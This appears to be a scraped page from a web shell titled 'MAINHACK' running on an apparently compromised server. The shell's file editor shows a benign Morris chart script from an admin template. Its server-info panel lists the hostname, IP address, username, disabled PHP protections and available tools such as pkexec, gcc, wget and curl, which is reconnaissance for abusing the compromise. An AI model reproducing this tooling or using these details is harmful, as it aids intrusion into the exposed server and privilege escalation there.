[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: morris-chart-demo.js
/* Template Name: Xeloro - Admin & Dashboard Template Author: Myra Studio File: Morris */ $(function() { 'use strict'; if ($('#morris-line-example').length) { Morris.Line({ element: 'morris-line-example', gridLineColor: '#eef0f2', lineColors: ['#e83e8c', '#23b5e2'], data: [{ y: '2013', a: 80, b: 100 }, { y: '2014', a: 110, b: 130 }, { y: '2015', a: 90, b: 110 }, { y: '2016', a: 120, b: 140 }, { y: '2017', a: 110, b: 125 }, { y: '2018', a: 170, b: 190 }, { y: '2019', a: 120, b: 140 } ], xkey: 'y', ykeys: ['a', 'b'], hideHover: 'auto', resize: true, labels: ['Series A', 'Series B'] }); } if ($('#morris-area-example').length) { Morris.Area({ element: 'morris-area-example', lineColors: ['#1d84c6', '#f8ac5a'], data: [{ y: '2013', a: 80, b: 100 }, { y: '2014', a: 110, b: 130 }, { y: '2015', a: 90, b: 110 }, { y: '2016', a: 120, b: 140 }, { y: '2017', a: 110, b: 125 }, { y: '2018', a: 170, b: 190 }, { y: '2019', a: 120, b: 140 } ], xkey: 'y', ykeys: ['a', 'b'], hideHover: 'auto', gridLineColor: '#eef0f2', resize: true, labels: ['Series A', 'Series B'] }); } if ($("#morris-bar-example").length) { Morris.Bar({ element: 'morris-bar-example', barColors: ['#3F51B5', '#00c2b2'], data: [{ y: '2013', a: 80, b: 100 }, { y: '2014', a: 110, b: 130 }, { y: '2015', a: 90, b: 110 }, { y: '2016', a: 120, b: 140 }, { y: '2017', a: 110, b: 125 }, { y: '2018', a: 170, b: 190 }, { y: '2019', a: 120, b: 140 } ], xkey: 'y', ykeys: ['a', 'b'], hideHover: 'auto', gridLineColor: '#eef0f2', resize: true, barSizeRatio: 0.4, labels: ['Series A', 'Series B'] }); } if ($("#morris-donut-example").length) { Morris.Donut({ element: 'morris-donut-example', resize: true, colors: ['#1d84c6', '#2ac14e', '#f15050'], data: [{ label: "Samsung Company", value: 12 }, { label: "Apple Company", value: 30 }, { label: "Vivo Mobiles", value: 20 } ] }); } if ($("#line-chart-updating").length) { //Updating Line chart data var nReloads = 0; function data(offset) { var ret = []; for (var x = 0; x <= 360; x += 10) { var v = (offset + x) % 360; ret.push({ x: x, y: Math.sin(Math.PI * v / 180).toFixed(4), z: Math.cos(Math.PI * v / 180).toFixed(4) }); } return ret; } var graph = Morris.Line({ element: 'line-chart-updating', data: data(0), xkey: 'x', ykeys: ['y', 'z'], labels: ['Apple', 'Samsung'], parseTime: false, ymin: -1.0, ymax: 1.0, hideHover: true, lineColors: ['#3F51B5', '#00c2b2'], resize: true }); function update() { nReloads++; graph.setData(data(5 * nReloads)); $('#reloadStatus').text(nReloads + ' reloads'); } setInterval(update, 100); } });
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.84 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002